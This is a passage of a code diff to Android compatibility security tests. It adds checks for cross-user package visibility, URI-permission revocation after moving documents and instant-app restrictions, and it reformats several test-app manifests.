+    public void testGetPackagesForUidVisibility_anotherUserCrossUserGrant() throws Exception {
+        final PackageManager pm = mContext.getPackageManager();
+        boolean found = false;
+        for (int appUid = Process.FIRST_APPLICATION_UID; appUid < Process.LAST_APPLICATION_UID;
+                appUid++) {
+            found = isAppInPackageNamesArray(TINY_PKG, pm.getPackagesForUid(appUid));
+            if (found) break;
+        }
+        assertTrue(found);
+    }
+
+    /** Tests getting installed packages for primary user, with cross user permission revoked */
+    @Test
+    public void testGetPackagesForUidVisibility_anotherUserCrossUserNoGrant() throws Exception {
+        final PackageManager pm = mContext.getPackageManager();
+        ungrantAcrossUsersPermission();
+        try {
+            for (int appUid = Process.FIRST_APPLICATION_UID; appUid < Process.LAST_APPLICATION_UID;
+                    appUid++) {
+                isAppInPackageNamesArray(TINY_PKG, pm.getPackagesForUid(appUid));
+            }
+            fail("Should have received a security exception");
+        } catch (SecurityException e) {}
+    }
+
     private boolean isAppInPackageList(String packageName,
             List<PackageInfo> packageList) {
         for (PackageInfo pkgInfo : packageList) {
@@ -170,6 +214,11 @@
         return false;
     }
 
+    private boolean isAppInPackageNamesArray(String packageName, String[] packageNames) {
+        return packageNames != null && Stream.of(packageNames).anyMatch(
+                name -> name.equals(packageName));
+    }
+
     private int getTestUser() {
         final Bundle testArguments = InstrumentationRegistry.getArguments();
         if (testArguments.containsKey("testUser")) {
diff --git a/hostsidetests/appsecurity/test-apps/AuthBoundKeyApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/AuthBoundKeyApp/AndroidManifest.xml
index 05676a8..6056e70 100644
--- a/hostsidetests/appsecurity/test-apps/AuthBoundKeyApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/AuthBoundKeyApp/AndroidManifest.xml
@@ -15,21 +15,23 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.authboundkeyapp">
+     package="com.android.cts.authboundkeyapp">
 
-    <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="27" />
+    <uses-sdk android:minSdkVersion="21"
+         android:targetSdkVersion="27"/>
 
     <application android:label="AuthBoundKeyApp">
-        <activity android:name=".BaseActivity">
+        <activity android:name=".BaseActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.authboundkeyapp" />
+         android:targetPackage="com.android.cts.authboundkeyapp"/>
 
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
index 64b78b7..ef54b1a 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
@@ -38,6 +38,7 @@
         "cts",
         "general-tests",
         "mts",
+        "sts",
     ],
     certificate: ":cts-testkey2",
     optimize: {
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
index 4f9850a..1a2a593 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
@@ -16,13 +16,20 @@
 
 package com.android.cts.documentclient;
 
+import static android.content.Intent.FLAG_GRANT_READ_URI_PERMISSION;
+import static android.content.Intent.FLAG_GRANT_WRITE_URI_PERMISSION;
+
 import android.app.Activity;
 import android.content.ContentResolver;
+import android.content.Context;
 import android.content.Intent;
 import android.content.IntentSender;
+import android.content.pm.PackageManager;
 import android.database.Cursor;
+import android.graphics.Rect;
 import android.net.Uri;
 import android.os.Bundle;
+import android.os.Environment;
 import android.os.SystemClock;
 import android.provider.DocumentsContract;
 import android.provider.DocumentsContract.Document;
@@ -37,8 +44,12 @@
 import android.text.TextUtils;
 import android.util.Log;
 
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
 import com.android.cts.documentclient.MyActivity.Result;
 
+import java.io.File;
 import java.util.List;
 
 /**
@@ -47,6 +58,19 @@
  */
 public class DocumentsClientTest extends DocumentsClientTestCase {
     private static final String TAG = "DocumentsClientTest";
+    private static final String DOWNLOAD_PATH =
+            Environment.getExternalStorageDirectory().getAbsolutePath() + File.separatorChar
+                    + Environment.DIRECTORY_DOWNLOADS;
+    private static final String TEST_DESTINATION_DIRECTORY_NAME = "TEST_PERMISSION_DESTINATION";
+    private static final String TEST_DESTINATION_DIRECTORY_PATH =
+            DOWNLOAD_PATH + File.separatorChar + TEST_DESTINATION_DIRECTORY_NAME;
+    private static final String TEST_SOURCE_DIRECTORY_NAME = "TEST_PERMISSION_SOURCE";
+    private static final String TEST_SOURCE_DIRECTORY_PATH =
+            DOWNLOAD_PATH + File.separatorChar + TEST_SOURCE_DIRECTORY_NAME;
+    private static final String TEST_TARGET_DIRECTORY_NAME = "TEST_TARGET";
+    private static final String TEST_TARGET_DIRECTORY_PATH =
+            TEST_SOURCE_DIRECTORY_PATH + File.separatorChar + TEST_TARGET_DIRECTORY_NAME;
+    private static final String STORAGE_AUTHORITY = "com.android.externalstorage.documents";
 
     private UiSelector findRootListSelector() throws UiObjectNotFoundException {
         return new UiSelector().resourceId(
@@ -100,9 +124,7 @@
     }
 
     private UiObject findDocument(String label) throws UiObjectNotFoundException {
-        final UiSelector docList = new UiSelector().resourceId(
-                getDocumentsUiPackageId() + ":id/container_directory").childSelector(
-                new UiSelector().resourceId(getDocumentsUiPackageId() + ":id/dir_list"));
+        final UiSelector docList = new UiSelector().resourceId(getDocumentsUiPackageId() + ":id/dir_list");
 
         // Wait for the first list item to appear
         assertTrue("First list item",
@@ -117,9 +139,28 @@
             //do nothing, already be in list mode.
         }
 
-        // Now scroll around to find our item
-        new UiScrollable(docList).scrollIntoView(new UiSelector().text(label));
-        return new UiObject(docList.childSelector(new UiSelector().text(label)));
+        // Repeat swipe gesture to find our item
+        // (UiScrollable#scrollIntoView does not seem to work well with SwipeRefreshLayout)
+        UiObject targetObject = new UiObject(docList.childSelector(new UiSelector().text(label)));
+        UiObject saveButton = findSaveButton();
+        int stepLimit = 10;
+        while (stepLimit-- > 0) {
+            if (targetObject.exists()) {
+                boolean targetObjectFullyVisible = !saveButton.exists()
+                        || targetObject.getVisibleBounds().bottom
+                        <= saveButton.getVisibleBounds().top;
+                if (targetObjectFullyVisible) {
+                    break;
+                }
+            }
+
+            mDevice.swipe(/* startX= */ mDevice.getDisplayWidth() / 2,
+                    /* startY= */ mDevice.getDisplayHeight() / 2,
+                    /* endX= */ mDevice.getDisplayWidth() / 2,
+                    /* endY= */ 0,
+                    /* steps= */ 40);
+        }
+        return targetObject;
     }
 
     private UiObject findSaveButton() throws UiObjectNotFoundException {
@@ -140,6 +181,25 @@
         assertTrue(title.waitForExists(TIMEOUT));
     }
 
+    private String getDeviceName() {
+        final String deviceName = Settings.Global.getString(
+                mActivity.getContentResolver(), Settings.Global.DEVICE_NAME);
+        // Device name should always be set. In case it isn't, fall back to "Internal Storage"
+        return !TextUtils.isEmpty(deviceName) ? deviceName : "Internal Storage";
+    }
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        deleteTestDirectory();
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        super.tearDown();
+        deleteTestDirectory();
+    }
+
     public void testOpenSimple() throws Exception {
         if (!supportedHardware()) return;
 
@@ -371,6 +431,16 @@
         // save button is disabled for the storage root
         assertFalse(findSaveButton().isEnabled());
 
+        // We should always have Android directory available
+        findDocument("Android").click();
+        mDevice.waitForIdle();
+
+        // save button is disabled for Android folder
+        assertFalse(findSaveButton().isEnabled());
+
+        findRoot(getDeviceName()).click();
+        mDevice.waitForIdle();
+
         try {
             findDocument("Download").click();
             mDevice.waitForIdle();
@@ -409,6 +479,16 @@
         // save button is enabled for for the storage root
         assertTrue(findSaveButton().isEnabled());
 
+        // We should always have Android directory available
+        findDocument("Android").click();
+        mDevice.waitForIdle();
+
+        // save button is enabled for Android folder
+        assertTrue(findSaveButton().isEnabled());
+
+        findRoot(getDeviceName()).click();
+        mDevice.waitForIdle();
+
         try {
             findDocument("Download").click();
             mDevice.waitForIdle();
@@ -710,15 +790,8 @@
         mActivity.startActivityForResult(intent, REQUEST_CODE);
         mDevice.waitForIdle();
 
-        final String deviceName = Settings.Global.getString(
-                mActivity.getContentResolver(), Settings.Global.DEVICE_NAME);
-
-        // Device name should always be set. In case it isn't, though,
-        // fall back to "Internal Storage".
-        final String title = !TextUtils.isEmpty(deviceName) ? deviceName : "Internal Storage";
-
         // assert the default root is internal storage root
-        assertToolbarTitleEquals(title);
+        assertToolbarTitleEquals(getDeviceName());
 
         // no Downloads root
         assertFalse(findRoot("Downloads").exists());
@@ -823,4 +896,75 @@
             // expected
         }
     }
+
+    public void testAfterMoveDocumentInStorage_revokeUriPermission() throws Exception {
+        if (!supportedHardware()) return;
+
+        final Context context = getInstrumentation().getContext();
+        final Uri initUri = DocumentsContract.buildDocumentUri(STORAGE_AUTHORITY,
+                "primary:" + Environment.DIRECTORY_DOWNLOADS);
+
+        // create the source directory
+        final Uri sourceUri = assertCreateDocumentSuccess(initUri, TEST_SOURCE_DIRECTORY_NAME,
+                Document.MIME_TYPE_DIR);
+
+        // create the target directory
+        final Uri targetUri = assertCreateDocumentSuccess(sourceUri, TEST_TARGET_DIRECTORY_NAME,
+                Document.MIME_TYPE_DIR);
+        final int permissionFlag = FLAG_GRANT_READ_URI_PERMISSION | FLAG_GRANT_WRITE_URI_PERMISSION;
+
+        // check permission for the target uri
+        assertEquals(PackageManager.PERMISSION_GRANTED,
+                context.checkCallingOrSelfUriPermission(targetUri, permissionFlag));
+
+        // create the destination directory
+        final Uri destinationUri = assertCreateDocumentSuccess(initUri,
+                TEST_DESTINATION_DIRECTORY_NAME, Document.MIME_TYPE_DIR);
+
+        final ContentResolver resolver = context.getContentResolver();
+        final Uri movedFileUri = DocumentsContract.moveDocument(resolver, targetUri, sourceUri,
+                destinationUri);
+        assertTrue(movedFileUri != null);
+
+        // after moving the document,  the permission of targetUri is revoked
+        assertEquals(PackageManager.PERMISSION_DENIED,
+                context.checkCallingOrSelfUriPermission(targetUri, permissionFlag));
+
+        // create the target directory again, it still has no permission for targetUri
+        executeShellCommand("mkdir " + TEST_TARGET_DIRECTORY_PATH);
+
+        assertEquals(PackageManager.PERMISSION_DENIED,
+                context.checkCallingOrSelfUriPermission(targetUri, permissionFlag));
+    }
+
+    private Uri assertCreateDocumentSuccess(@Nullable Uri initUri, @NonNull String displayName,
+            @NonNull String mimeType) throws Exception {
+        // Clear DocsUI's storage to avoid it opening stored last location.
+        clearDocumentsUi();
+
+        // create document
+        final Intent createIntent = new Intent(Intent.ACTION_CREATE_DOCUMENT);
+        createIntent.addCategory(Intent.CATEGORY_OPENABLE);
+        createIntent.putExtra(Intent.EXTRA_TITLE, displayName);
+        createIntent.setType(mimeType);
+        if (initUri != null) {
+            createIntent.putExtra(DocumentsContract.EXTRA_INITIAL_URI, initUri);
+        }
+        mActivity.startActivityForResult(createIntent, REQUEST_CODE);
+
+        mDevice.waitForIdle();
+        findSaveButton().click();
+
+        // check result
+        final Uri uri = mActivity.getResult().data.getData();
+        assertEquals(displayName, getColumn(uri, Document.COLUMN_DISPLAY_NAME));
+        assertEquals(mimeType, getColumn(uri, Document.COLUMN_MIME_TYPE));
+
+        return uri;
+    }
+
+    private void deleteTestDirectory() throws Exception{
+        executeShellCommand("rm -rf " + TEST_DESTINATION_DIRECTORY_PATH);
+        executeShellCommand("rm -rf " + TEST_SOURCE_DIRECTORY_PATH);
+    }
 }
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
index e7619c4..b42c9ac 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
@@ -34,6 +34,7 @@
         "cts",
         "general-tests",
         "mts",
+        "sts",
     ],
     certificate: ":cts-testkey1",
     optimize: {
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/DocumentProvider/AndroidManifest.xml
index 86b134c..b5ea025 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/AndroidManifest.xml
@@ -15,30 +15,32 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.cts.documentprovider">
+     package="com.android.cts.documentprovider">
 
-    <uses-sdk android:minSdkVersion="29" android:targetSdkVersion="29"/>
+    <uses-sdk android:minSdkVersion="29"
+         android:targetSdkVersion="29"/>
 
     <application>
         <uses-library android:name="android.test.runner"/>
 
         <provider android:name=".MyDocumentsProvider"
-                android:authorities="com.android.cts.documentprovider"
-                android:exported="true"
-                android:grantUriPermissions="true"
-                android:permission="android.permission.MANAGE_DOCUMENTS">
+             android:authorities="com.android.cts.documentprovider"
+             android:exported="true"
+             android:grantUriPermissions="true"
+             android:permission="android.permission.MANAGE_DOCUMENTS">
             <intent-filter>
-                <action android:name="android.content.action.DOCUMENTS_PROVIDER" />
+                <action android:name="android.content.action.DOCUMENTS_PROVIDER"/>
             </intent-filter>
         </provider>
 
         <activity android:name=".GetContentActivity"
-                android:label="CtsGetContent">
+             android:label="CtsGetContent"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.GET_CONTENT" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.OPENABLE" />
-                <data android:mimeType="image/*" />
+                <action android:name="android.intent.action.GET_CONTENT"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.OPENABLE"/>
+                <data android:mimeType="image/*"/>
             </intent-filter>
         </activity>
 
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java b/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java
index d75d4fc..c429885 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java
@@ -494,7 +494,7 @@
 
         final PendingIntent pendingIntent = PendingIntent.getActivity(
                 getContext(), WEB_LINK_REQUEST_CODE, intent,
-                PendingIntent.FLAG_ONE_SHOT);
+                PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         return pendingIntent.getIntentSender();
     }
 
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.bp b/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.bp
index 2ced026..e504cd5 100644
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.bp
@@ -35,6 +35,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts-mainline-infra",
     ],
     certificate: ":cts-testkey1",
 }
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EncryptionApp/AndroidManifest.xml
index 314e7ae..3bbde47 100644
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/AndroidManifest.xml
@@ -19,6 +19,7 @@
     <queries>
         <package android:name="com.android.cts.splitapp" />
     </queries>
+
     <uses-sdk android:targetSdkVersion="29"/>
     <application android:label="EncryptionApp">
         <activity android:name=".UnawareActivity"
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml
index ea12f85..fb16dfc 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml
@@ -15,118 +15,114 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-  package="com.android.cts.ephemeralapp1" >
-    <uses-sdk
-        android:minSdkVersion="24" android:targetSdkVersion="26" />
+     package="com.android.cts.ephemeralapp1">
+    <uses-sdk android:minSdkVersion="24"
+         android:targetSdkVersion="26"/>
 
-    <uses-permission android:name="com.android.alarm.permission.SET_ALARM" />
+    <uses-permission android:name="com.android.alarm.permission.SET_ALARM"/>
     <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
-    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
-    <uses-permission android:name="android.permission.CAMERA" />
-    <uses-permission android:name="android.permission.INSTANT_APP_FOREGROUND_SERVICE" />
-    <uses-permission android:name="android.permission.INTERNET" />
-    <uses-permission android:name="android.permission.RECORD_AUDIO" />
-    <uses-permission android:name="android.permission.READ_PHONE_NUMBERS" />
-    <uses-permission android:name="android.permission.VIBRATE" />
-    <uses-permission android:name="android.permission.WAKE_LOCK" />
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
+    <uses-permission android:name="android.permission.CAMERA"/>
+    <uses-permission android:name="android.permission.INSTANT_APP_FOREGROUND_SERVICE"/>
+    <uses-permission android:name="android.permission.INTERNET"/>
+    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
+    <uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/>
+    <uses-permission android:name="android.permission.VIBRATE"/>
+    <uses-permission android:name="android.permission.WAKE_LOCK"/>
 
-    <application
-        android:label="@string/app_name">
-        <uses-library android:name="android.test.runner" />
-        <activity
-            android:name=".EphemeralActivity"
-            android:theme="@android:style/Theme.NoDisplay" >
+    <application android:label="@string/app_name">
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name=".EphemeralActivity"
+             android:theme="@android:style/Theme.NoDisplay"
+             android:exported="true">
             <!-- TEST: normal app can start w/o knowing about this activity -->
-            <intent-filter>
-                <action android:name="android.intent.action.VIEW" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="https" />
-                <data android:host="cts.google.com" />
-                <data android:path="/ephemeral" />
+            <intent-filter android:autoVerify="true">
+                <action android:name="android.intent.action.VIEW"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="https"/>
+                <data android:host="cts.google.com"/>
+                <data android:path="/ephemeral"/>
             </intent-filter>
             <!-- TEST: ephemeral apps can see this activity using query methods -->
             <!-- TEST: normal apps can't see this activity using query methods -->
             <intent-filter android:priority="0">
-                <action android:name="com.android.cts.ephemeraltest.QUERY" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.ephemeraltest.QUERY"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <!-- TEST: ephemeral apps can start this activity using directed intent -->
             <!-- TEST: normal apps can't start this activity using directed intent -->
             <intent-filter android:priority="0">
-                <action android:name="com.android.cts.ephemeraltest.START_EPHEMERAL" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.ephemeraltest.START_EPHEMERAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.SEARCH" />
+                <action android:name="android.intent.action.SEARCH"/>
             </intent-filter>
             <meta-data android:name="default-url"
-                       android:value="https://ephemeralapp1.cts.android.com/search" />
-            <meta-data
-                       android:name="android.app.searchable"
-                       android:resource="@xml/searchable" />
+                 android:value="https://ephemeralapp1.cts.android.com/search"/>
+            <meta-data android:name="android.app.searchable"
+                 android:resource="@xml/searchable"/>
         </activity>
-        <activity
-            android:name=".EphemeralResult"
-            android:theme="@android:style/Theme.NoDisplay" >
+        <activity android:name=".EphemeralResult"
+             android:theme="@android:style/Theme.NoDisplay"
+             android:exported="true">
             <!-- TEST: allow sending results from other instant apps -->
-            <intent-filter>
-                <action android:name="android.intent.action.VIEW" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="https" />
-                <data android:host="cts.google.com" />
-                <data android:path="/result" />
+            <intent-filter android:autoVerify="true">
+                <action android:name="android.intent.action.VIEW"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="https"/>
+                <data android:host="cts.google.com"/>
+                <data android:path="/result"/>
             </intent-filter>
         </activity>
         <provider android:name=".SearchSuggestionProvider"
-            android:authorities="com.android.cts.ephemeralapp1.Search" />
+             android:authorities="com.android.cts.ephemeralapp1.Search"/>
 
-        <activity
-            android:name=".EphemeralActivity2"
-            android:theme="@android:style/Theme.NoDisplay">
+        <activity android:name=".EphemeralActivity2"
+             android:theme="@android:style/Theme.NoDisplay"
+             android:exported="true">
             <!-- TEST: ephemeral apps can start this activity using directed intent -->
             <!-- TEST: normal apps can't start this activity using directed intent -->
             <intent-filter android:priority="0">
-                <action android:name="com.android.cts.ephemeraltest.START_EPHEMERAL_PRIVATE" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.ephemeraltest.START_EPHEMERAL_PRIVATE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
-        <activity
-            android:name=".EphemeralActivity3"
-            android:theme="@android:style/Theme.NoDisplay">
+        <activity android:name=".EphemeralActivity3"
+             android:theme="@android:style/Theme.NoDisplay">
             <!-- TEST: ephemeral apps can start this activity using directed intent -->
         </activity>
-        <activity android:name=".WebViewTestActivity" />
-        <service
-            android:name=".EphemeralService">
+        <activity android:name=".WebViewTestActivity"/>
+        <service android:name=".EphemeralService"
+             android:exported="true">
             <!-- TEST: ephemeral apps can see this service using query methods -->
             <intent-filter android:priority="0">
-                <action android:name="com.android.cts.ephemeraltest.QUERY" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.ephemeraltest.QUERY"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <!-- TEST: ephemeral apps can start this service using directed intent -->
             <intent-filter android:priority="-10">
-                <action android:name="com.android.cts.ephemeraltest.START_EPHEMERAL" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.ephemeraltest.START_EPHEMERAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </service>
 
-        <provider
-            android:name=".EphemeralProvider"
-            android:authorities="com.android.cts.ephemeralapp1.provider"
-            android:exported="true">
+        <provider android:name=".EphemeralProvider"
+             android:authorities="com.android.cts.ephemeralapp1.provider"
+             android:exported="true">
             <intent-filter android:priority="0">
-                <action android:name="com.android.cts.ephemeraltest.QUERY" />
+                <action android:name="com.android.cts.ephemeraltest.QUERY"/>
             </intent-filter>
         </provider>
         <service android:name=".SomeService"/>
 
-        <activity android:name=".StartForResultActivity" android:exported="false" />
+        <activity android:name=".StartForResultActivity"
+             android:exported="false"/>
 
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.ephemeralapp1" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.cts.ephemeralapp1"/>
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
index 6905564..30a5767 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
@@ -29,6 +29,7 @@
 import static org.junit.Assert.assertSame;
 import static org.junit.Assert.assertThat;
 import static org.junit.Assert.fail;
+import static org.testng.Assert.assertNull;
 import static org.testng.Assert.assertThrows;
 
 import android.Manifest;
@@ -44,6 +45,7 @@
 import android.content.IntentFilter;
 import android.content.ServiceConnection;
 import android.content.pm.ActivityInfo;
+import android.content.pm.ChangedPackages;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
 import android.content.pm.ProviderInfo;
@@ -1427,6 +1429,16 @@
         }
     }
 
+    /** Tests getting changed packages for instant app. */
+    @Test
+    public void testGetChangedPackages() {
+        final PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
+
+        // Instant apps can't get changed packages.
+        final ChangedPackages changedPackages = pm.getChangedPackages(0);
+        assertNull(changedPackages);
+    }
+
     /** Returns {@code true} if the given filter handles all web URLs, regardless of host. */
     private boolean handlesAllWebData(IntentFilter filter) {
         return filter.hasCategory(Intent.CATEGORY_APP_BROWSER) ||
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/AndroidManifest.xml
index 3d814d8..e5dbc1f 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/AndroidManifest.xml
@@ -15,68 +15,63 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-  package="com.android.cts.ephemeralapp2" >
-    <uses-sdk
-        android:minSdkVersion="24" android:targetSdkVersion="26" />
+     package="com.android.cts.ephemeralapp2">
+    <uses-sdk android:minSdkVersion="24"
+         android:targetSdkVersion="26"/>
 
     <!-- TEST: exists only for testing ephemeral app1 can't see this app -->
-    <application
-        android:label="@string/app_name">
-        <uses-library android:name="android.test.runner" />
-        <activity
-          android:name=".EphemeralActivity"
-          android:theme="@android:style/Theme.NoDisplay">
-            <intent-filter>
-                <action android:name="android.intent.action.VIEW" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="https" />
-                <data android:host="cts.google.com" />
-                <data android:path="/other" />
+    <application android:label="@string/app_name">
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name=".EphemeralActivity"
+             android:theme="@android:style/Theme.NoDisplay"
+             android:exported="true">
+            <intent-filter android:autoVerify="true">
+                <action android:name="android.intent.action.VIEW"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="https"/>
+                <data android:host="cts.google.com"/>
+                <data android:path="/other"/>
             </intent-filter>
             <intent-filter android:priority="0">
-                <action android:name="com.android.cts.ephemeraltest.QUERY" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.ephemeraltest.QUERY"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <intent-filter android:priority="0">
-                <action android:name="com.android.cts.ephemeraltest.START_EPHEMERAL" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.ephemeraltest.START_EPHEMERAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <intent-filter android:priority="0">
-                <action android:name="com.android.cts.ephemeraltest.START_OTHER_EPHEMERAL" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.ephemeraltest.START_OTHER_EPHEMERAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.SEARCH" />
+                <action android:name="android.intent.action.SEARCH"/>
             </intent-filter>
             <meta-data android:name="default-url"
-                       android:value="https://ephemeralapp2.cts.android.com/search" />
-            <meta-data
-                       android:name="android.app.searchable"
-                       android:resource="@xml/searchable" />
+                 android:value="https://ephemeralapp2.cts.android.com/search"/>
+            <meta-data android:name="android.app.searchable"
+                 android:resource="@xml/searchable"/>
         </activity>
         <provider android:name=".SearchSuggestionProvider"
-            android:authorities="com.android.cts.ephemeralapp2.Search" />
+             android:authorities="com.android.cts.ephemeralapp2.Search"/>
 
 
         <!-- This should still not be visible to other Instant Apps -->
-        <activity
-            android:name=".ExposedActivity"
-            android:visibleToInstantApps="true"
-            android:theme="@android:style/Theme.NoDisplay" />
+        <activity android:name=".ExposedActivity"
+             android:visibleToInstantApps="true"
+             android:theme="@android:style/Theme.NoDisplay"/>
 
         <!-- This should still not be visible to other Instant Apps -->
-        <provider
-            android:name=".EphemeralProvider"
-            android:authorities="com.android.cts.ephemeralapp2.provider"
-            android:exported="true">
+        <provider android:name=".EphemeralProvider"
+             android:authorities="com.android.cts.ephemeralapp2.provider"
+             android:exported="true">
             <intent-filter android:priority="0">
-                <action android:name="com.android.cts.ephemeraltest.QUERY" />
+                <action android:name="com.android.cts.ephemeraltest.QUERY"/>
             </intent-filter>
         </provider>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.ephemeralapp2" />
